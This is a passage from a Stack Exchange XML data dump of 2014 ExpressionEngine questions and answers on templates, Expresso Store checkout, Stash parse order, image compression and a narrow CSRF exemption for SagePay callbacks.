class=&quot;icon-time&quot;&amp;gt;&amp;lt;/i&amp;gt; {entry_date format='%F %d, %Y'}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt; &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;i class=&quot;icon-comments&quot;&amp;gt;&amp;lt;/i&amp;gt; {comment_total} Comments&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;            {intro_text}&#xA;            &amp;lt;a href=&quot;{page_url}&quot; class=&quot;magenta&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-06-27T15:28:01.353" Title="Issue displaying specific category entries" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24041" PostTypeId="2" ParentId="24040" CreationDate="2014-06-27T15:28:01.353" Score="1" Body="&lt;p&gt;The issue above was solved by changing the dynamic setting. Originally the setting was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; disable=&quot;members|pagination&quot; related_categories=&quot;yes&quot; custom_fields=&quot;yes&quot; dynamic=&quot;no&quot; status=&quot;Open&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing dynamic=&quot;no&quot; to dynamic=&quot;yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; disable=&quot;members|pagination&quot; related_categories=&quot;yes&quot; custom_fields=&quot;yes&quot; dynamic=&quot;yes&quot; status=&quot;Open&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-06-27T15:28:01.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24043" PostTypeId="2" ParentId="24039" CreationDate="2014-06-27T15:35:59.267" Score="1" Body="&lt;p&gt;There is no native way, and I have not seen anything in the 3rd party market. I would make a good FR - I can see just being able to set the compression level on each image manipulation.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-06-27T15:35:59.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24044" PostTypeId="2" ParentId="24038" CreationDate="2014-06-27T16:06:55.993" Score="1" Body="&lt;p&gt;ugh, I came across what looks like the same thing a while ago: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6053/plugin-value-in-a-template-conditional&quot;&gt;plugin value in a template conditional&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really odd. You could try ifify: &lt;a href=&quot;http://devot-ee.com/add-ons/ifify&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/ifify&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... though these days I think I'd attempt this more cleanly using Stash's &lt;code&gt;get_list&lt;/code&gt; with &lt;code&gt;match&lt;/code&gt; &lt;code&gt;against&lt;/code&gt; parameters.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-06-27T16:06:55.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24045" PostTypeId="1" CreationDate="2014-06-27T16:10:53.053" Score="1" ViewCount="68" Body="&lt;p&gt;Does store generate a printable order summary for customers?  Anyone do this with any success. Customer wants a &quot;print invoice&quot; button on the order summary page, and I'm not sure how to go about that.  I tried using the HTML/CSS email that goes to the customer (that would print nicely), but of course, when I put that in a template called &quot;invoice&quot; and link to it from the Order Confirmation page, it doesn't parse any of the customer/order variables.&lt;/p&gt;&#xA;" OwnerUserId="2307" LastActivityDate="2014-06-27T16:53:25.813" Title="Printing Order Summary in Expresso Store" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24046" PostTypeId="1" CreationDate="2014-06-27T16:27:33.820" Score="2" ViewCount="46" Body="&lt;p&gt;Is there some way that when an existing customer is logged in and places something in their cart, that it would autofill their billing information from their existing data, instead of having to re-fill in that information?&lt;/p&gt;&#xA;" OwnerUserId="2307" LastActivityDate="2014-06-27T16:45:28.247" Title="Autofilling existing logged in Expresso Store customer information in checkout fields" Tags="|expresso-store|expresso|users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24047" PostTypeId="2" ParentId="24046" CreationDate="2014-06-27T16:45:28.247" Score="2" Body="&lt;p&gt;My billing/shipping fields are coded like this and the info is autofilled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;field {if error:billing_phone}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;billing_phone&quot;&amp;gt;Phone *&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:billing_phone}&#xA;        {error:billing_phone}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR, as per the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#billing_details&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Checkout Tag &quot;Billing Details&quot; docs&lt;/strong&gt;&lt;/a&gt;, you can code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;billing_name&quot; value=&quot;{billing_name}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-06-27T16:45:28.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24048" PostTypeId="2" ParentId="24045" CreationDate="2014-06-27T16:53:25.813" Score="2" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;https://exp-resso.com/docs/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Orders Tag&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order_hash should be present in the &quot;success&quot; page URL as a segment and you can grab that and pass it to another template with a link like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/checkout/print/{segment_3}&quot;&amp;gt;Print Invoice&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &quot;Print&quot; template use the following to get your invoice data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders order_hash=&quot;{segment_3}&quot;}&#xA;    {if no_orders}&#xA;        {redirect='404'}&#xA;    {/if}&#xA;    &amp;lt;!-- display order details here --&amp;gt;&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-06-27T16:53:25.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24049" PostTypeId="2" ParentId="23728" CreationDate="2014-06-27T17:51:13.103" Score="1" Body="&lt;p&gt;So it turned out the problem was an ajax call within one of my scripts. I was under the assumption it was image related as the images were the only items receiving an error, they were also not loading. Fonts were loaded, and it &lt;em&gt;appeared&lt;/em&gt; as though the scripts were loading fine as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After removing all the scripts and adding them back one-by-one I was able to pinpoint that it was an ajax call causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adjusting my script I was able to make everything work as expected. The above .htaccess worked fine.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-06-27T17:51:13.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24050" PostTypeId="1" AcceptedAnswerId="24412" CreationDate="2014-06-27T18:44:37.763" Score="-1" ViewCount="134" Body="&lt;p&gt;Has anyone used this module to mark a post as read or unread using aJax?  Can you share your code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using favorites to mark the post as a favorite (read) and the opposite if they unmark it.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2014-07-14T21:52:52.487" Title="Solspace's Favorites Module" Tags="|solspace|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24052" PostTypeId="2" ParentId="24039" CreationDate="2014-06-28T05:01:07.913" Score="2" Body="&lt;p&gt;CE Image can output just a URL to a manipulated image. Meaning that it could compress the image on the fly (if the image hasn't already been compressed on a previous page load), and can still output the image's URL where needed. CE Image has a quality= setting for jpg images, and uses filters to optimize png images automatically when possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, CE Lossless can be enabled to take the compression with CE Image even further. Between jpegtran, jpegoptim, optipng, pngout, pngcrush, smushit, and pngquant, those images can be squeezed pretty tight. For example, jpegtran strips all image metadata, provides lossless optimization via Huffmann compression, and changes the images to progressive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, CE Lossless will also compress images as they are uploaded to EE (but that can be disabled in the config).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The smush.it driver for CE Lossless can be used without even having to install anything on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm the author of the CE Image and CE Lossless add-ons.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-06-28T05:01:07.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24053" PostTypeId="2" ParentId="15576" CreationDate="2014-06-28T10:59:47.727" Score="0" Body="&lt;p&gt;Due to the new EE security preventing forms being submitted without an XID (therefore third party gateways can't submit POST notifications), we now use this in our config.php file for Payment Gateways&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;|--------------------------------------------------------------------------&#xA;| Disable CSRF for Sagepay&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This will disable CSRF for Sagepay Request, so payment will work&#xA;|&#xA;*/&#xA;if(stripos($_SERVER[&quot;REQUEST_URI&quot;],'/themes/third_party/cartthrob/lib/extload.php/sage_s') !== FALSE)&#xA;{&#xA;    $config['disable_csrf_protection'] = &quot;y&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-06-28T10:59:47.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24054" PostTypeId="2" ParentId="20449" CreationDate="2014-06-28T11:03:05.607" Score="1" Body="&lt;p&gt;Due to the new EE security preventing forms being submitted without an XID, third party gateways can't submit POST notifications. The csrf protection needs to be disabled. To prevent disabling the security feature globally, we use this in our config.php file for Payment Gateways:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;|--------------------------------------------------------------------------&#xA;| Disable CSRF for Sagepay&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This will disable CSRF for Sagepay Request, so payment will work&#xA;|&#xA;*/&#xA;if(stripos($_SERVER[&quot;REQUEST_URI&quot;],'/themes/third_party/cartthrob/lib/extload.php/sage_s') !== FALSE)&#xA;{&#xA;    $config['disable_csrf_protection'] = &quot;y&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15576/cartthrob-payment-gateway-worldpay-callback-gives-the-action-you-have-request/24053#24053&quot;&gt;Cartthrob payment gateway (Worldpay) callback gives &amp;quot;the action you have requested invalid post back&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-06-28T11:03:05.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24055" PostTypeId="2" ParentId="23897" CreationDate="2014-06-28T16:35:25.457" Score="2" Body="&lt;p&gt;I found that Audit Pro does the job! Thanks though&lt;/p&gt;&#xA;" OwnerUserId="3053" LastActivityDate="2014-06-28T16:35:25.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24056" PostTypeId="2" ParentId="23963" CreationDate="2014-06-28T17:27:34.353" Score="1" Body="&lt;p&gt;Check your browser's developer tools network tab to see exactly which fields are being submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that when the customer clicks through to the next step of the checkout, you are either submitting two &lt;code&gt;promo_code&lt;/code&gt; fields, or submitting a blank &lt;code&gt;promo_code&lt;/code&gt; field (which would reset the discount back to $0).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-28T17:27:34.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24057" PostTypeId="2" ParentId="23922" CreationDate="2014-06-28T17:55:09.483" Score="2" Body="&lt;p&gt;Try changing this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;get_where('exp_channel_titles', array('title' =&amp;gt; $coupon_code, 'channel_id' =&amp;gt; 8));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;where('exp_channel_titles', array('title' =&amp;gt; $coupon_code, 'channel_id' =&amp;gt; 8));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-28T17:55:09.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24058" PostTypeId="1" CreationDate="2014-06-28T19:18:06.247" Score="0" ViewCount="271" Body="&lt;p&gt;I've got a site I made for one of my hobbies and to play around with new EE tricks (and just so I can have a site that is mine to do with as I please!). Note, there are still some links and features (search) that don't do anything, one step at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However recently the Channel Favorites &quot;like&quot; function stopped working. I get the generic &quot;You are not authorized to perform this action&quot; message from the EE system. I have looked at my Blacklist, nothing there. I tried it logged in as guest, a member, and super admin...nothing. I even turned off the security feature that prevents duplicate data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works on my local and development versions just fine. If I export my production database to development it still works. You can see the development and production versions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.rcdevotee.com&quot; rel=&quot;nofollow&quot;&gt;http://dev.rcdevotee.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rcdevotee.com&quot; rel=&quot;nofollow&quot;&gt;http://www.rcdevotee.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked system file/folder permissions, CP paths, and everything else I can think of. What else am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is here (same code on dev and www, but only works on dev):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;models&quot; dynamic=&quot;yes&quot; track_views=&quot;one&quot; require_entry=&quot;yes&quot; disable=&quot;pagination|member_data&quot; cache=&quot;no&quot; refresh=&quot;1440&quot;}&#xA;....&#xA;&#xA;&amp;lt;div class=&quot;like block&quot;&amp;gt;&#xA;{exp:channel_ratings:likes entry_id=&quot;{entry_id}&quot;}&#xA;{if rating:not_voted}&#xA;{exp:channel_ratings:new_like entry_id=&quot;{entry_id}&quot; allow_guests=&quot;yes&quot;}&#xA;&amp;lt;div class=&quot;like_btn&quot;&amp;gt;&amp;lt;a class=&quot;btn&quot; href=&quot;{rating:like_url}&quot;&amp;gt;I like this&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/exp:channel_ratings:new_like}&#xA;{/if}&#xA;{if rating:voted}&#xA;&amp;lt;div class=&quot;like_btn&quot;&amp;gt;You liked this&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&amp;lt;ul class=&quot;&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;fa fa-trophy total_likes&quot;&amp;gt;{rating:liked} likes&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;icomoon-eye&quot;&amp;gt;{view_count_one} views&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel_ratings:likes}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .likeblock --&amp;gt;&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2014-06-28T21:11:51.363" LastActivityDate="2014-06-28T21:11:51.363" Title="&quot;You are not authorized to perform this action&quot; Error with Channel Favorites" Tags="|system|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24059" PostTypeId="1" AcceptedAnswerId="24061" CreationDate="2014-06-29T13:52:58.533" Score="1" ViewCount="133" Body="&lt;p&gt;I have a products section as follows with a global header that outputs category fields into the meta info and page content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/products/&#xA;(All top level product categories listed)&#xA;Template= /products/index&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/products/category/entries/&#xA;(Lists the products within current category)&#xA;Template= /products/entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/products/category/list/&#xA;(Lists the subcategories for any top level categories that have them)&#xA;Template= /products/list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/products/detail&#xA;(Shows the entry for the product)&#xA;Template= /products/detail&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to combine index, entries and list into 1 template at index and am trying to do by using a conditional:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if segment_2==&quot;&quot;}&#xA;...shows all top level product categories (This works)&#xA;{if:else}&#xA;...show products within current category specified by segment 2 of URL (can't get this to work)&#xA;{/if} &lt;/p&gt;&#xA;" OwnerUserId="1822" LastActivityDate="2014-08-12T11:03:57.947" Title="Removing segments" Tags="|categories|url|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24061" PostTypeId="2" ParentId="24059" CreationDate="2014-06-29T16:34:42.163" Score="2" Body="&lt;p&gt;Within the products/index template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;    Display all top level product categories&#xA;    CURRENT TEMPLATE IS /products/index - so would embed another template?&#xA;{if:elseif segment_3 == &quot;entries&quot;}&#xA;    Lists the products within current category&#xA;    {embed=products/entries}&#xA;{if:elseif segment_3 == &quot;list&quot;}&#xA;    Lists the subcategories for any top level categories&#xA;    {embed=products/list}&#xA;{if:elseif segment_2 == &quot;detail&quot;}&#xA;    Shows the entry for the product&#xA;    {embed=products/detail}&#xA;{if:else}&#xA;    404!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I would recommend that /products/details/XXX is an ugly URL for the customer and for SEO purposes. You can actually do away with this and assume the product url_title directly at segment_2, then rely on the {if no_results} tag to capture the 404. So from the above example, replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif segment_2 == &quot;detail&quot;}&#xA;    Shows the entry for the product&#xA;    {embed=products/detail}&#xA;{if:else}&#xA;    404!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...with just this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:else}&#xA;    Shows the entry for the product&#xA;    {embed=products/detail}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and then in the products/details template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    status=&quot;not Closed&quot;&#xA;    channel=&quot;products&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;    track_views=&quot;one&quot;&#xA;    disable=&quot;member_data|pagination&quot;}&#xA;    {if no_results}&#xA;            EMBED YOUR 404 TEMPLATE HERE&#xA;        {/if}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; An edit was made to the above answer stripping out quotes and curlies from the conditionals e.g. it was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif &quot;{segment_3}&quot; == &quot;entries&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;So the amended answer is correct if you're using the latest version of&#xA;  EE (possible v2.9 onwards), but historically with older versions I've&#xA;  encountered numerous issues with conditional parsing if the segment or&#xA;  value is not defined ( &lt;code&gt;{if:elseif segment_3 == &quot;entries&quot;}&lt;/code&gt; gets&#xA;  parsed as &lt;code&gt;{if:elseif  == &quot;entries&quot;}&lt;/code&gt; if segment_3 has no value and generates &#xA;  parsing errors. Hence the need to wrap in quotes and define as EE variables.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can be even more smart with the URLs and do away with all the identifier segments (&quot;entries&quot;, &quot;list&quot; and &quot;details&quot;), where you utilise the no_results tag pair for product details, no results conditional assume the listing, then on the listing detect if it's a top level category or sub category, or if it's a no result, then display 404. If you decide on this path, you'll probably need &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;low2seg&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-haschildren&quot; rel=&quot;nofollow&quot;&gt;GW Code Has Children&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2014-08-12T11:03:57.947" LastActivityDate="2014-08-12T11:03:57.947" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24062" PostTypeId="1" CreationDate="2014-06-29T17:00:45.277" Score="0" ViewCount="30" Body="&lt;p&gt;Hoping someone can point me in the right direction for an issue I'm having with CartThrob Order Channel statuses being all mixed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the orders channel has the statuses of several other channels being displayed. So there are the 7 or so payment related / shipped statuses that should be there, and an extra 10 from other status groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For instance:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Open&#xA;Printed&#xA;Packaged&#xA;Shipped&#xA;Payment Processing&#xA;Payment Refunded&#xA;Featured &amp;lt; Shouldn't be here&#xA;Draft &amp;lt; Shouldn't be here&#xA;Featured Home Page &amp;lt; Shouldn't be here&#xA;Etc. Etc. + 10 more &amp;lt; Shouldn't be here&#xA;Closed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, if I go to Admin &gt; Channel Administration &gt; Channels &gt; Edit Group Assignments and select, &quot;None&quot;, only the Order Statuses stop displaying. All the other group statuses continue to display in CT Admin, Order Manager and when editing in publish view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps someone here knows there way around the Cartthrob / EE database tables, so I can load up phpMyAdmin and work it out manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any assistance,&lt;/p&gt;&#xA;" OwnerUserId="1255" LastActivityDate="2014-06-29T17:00:45.277" Title="CartThrob CT Admin statuses all mixed up" Tags="|cartthrob|status|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24064" PostTypeId="1" CreationDate="2014-06-29T23:07:17.427" Score="0" ViewCount="28" Body="&lt;p&gt;I have this code, setting some information to stash variables&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest parse=&quot;inward&quot; ...}&#xA;    &amp;lt;h2&amp;gt;foo_1 in exp:rest = {foo}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;bar_1 in exp:rest = {bar}&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:set name=&quot;foo_1&quot;}{foo}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;bar_1&quot;}{bar}{/exp:stash:set}&#xA;{/exp:rest}&#xA;&#xA;{exp:rest parse=&quot;inward&quot; ...}&#xA;    &amp;lt;h2&amp;gt;foo_2 in exp:rest = {foo}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;bar_2 in exp:rest = {bar}&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:set name=&quot;foo_2&quot;}{foo}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;bar_2_2&quot;}{bar}{/exp:stash:set}&#xA;{/exp:rest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above outputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo_1 in exp:rest = -35.2286&#xA;bar_1 in exp:rest = 173.9478&#xA;foo_2 in exp:rest = 0&#xA;bar_2 in exp:rest = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but retrieving them returns nothing. The code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;foo_1=&quot;{exp:stash:foo_1}&quot;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;bar_1=&quot;{exp:stash:bar_1}&quot;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;foo_2=&quot;{exp:stash:foo_2}&quot;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;bar_2=&quot;{exp:stash:bar_2}&quot;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo_1=&quot;&quot;&#xA;bar_1=&quot;&quot;&#xA;foo_2=&quot;&quot;&#xA;bar_2=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-06-30T03:10:05.080" Title="Stash - a variable that was set is not showing the correct value" Tags="|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24068" PostTypeId="2" ParentId="24064" CreationDate="2014-06-30T03:10:05.080" Score="1" Body="&lt;p&gt;It's a parse order issue, your setting stash inside outer tags then trying to retrieve outside the order, i'd probably do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;{stash:results}&#xA;{exp:rest ...}&#xA;    &amp;lt;h2&amp;gt;foo_1 in exp:rest = {foo}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;bar_1 in exp:rest = {bar}&amp;lt;/h2&amp;gt;&#xA;    {stash:foo_1}{foo}{/stash:foo_1}&#xA;    {stash:bar_1}{bar}{/stash:bar_1}&#xA;{/exp:rest}&#xA;&#xA;{exp:rest ...}&#xA;    &amp;lt;h2&amp;gt;foo_2 in exp:rest = {foo}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;bar_2 in exp:rest = {bar}&amp;lt;/h2&amp;gt;&#xA;    {stash:foo_2}{foo}{/stash:foo_2}&#xA;    {stash:bar_2}{bar}{/stash:bar_2}&#xA;{/exp:rest}&#xA;{/stash:results}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then grab the vars like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;results&quot;}&#xA;  &amp;lt;h1&amp;gt;foo_1=&quot;{stash:foo_1}&quot;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h1&amp;gt;bar_1=&quot;{stash:bar_1}&quot;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h1&amp;gt;foo_2=&quot;{stash:foo_2}&quot;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h1&amp;gt;bar_2=&quot;{stash:bar_2}&quot;&amp;lt;/h1&amp;gt;&#xA;{/exp:stash:get}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR simply this may work too (add parse to the get function):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest parse=&quot;inward&quot; ...}&#xA;    &amp;lt;h2&amp;gt;foo_1 in exp:rest = {foo}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;bar_1 in exp:rest = {bar}&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:set name=&quot;foo_1&quot;}{foo}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;bar_1&quot;}{bar}{/exp:stash:set}&#xA;{/exp:rest}&#xA;&#xA;{exp:rest parse=&quot;inward&quot; ...}&#xA;    &amp;lt;h2&amp;gt;foo_2 in exp:rest = {foo}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;bar_2 in exp:rest = 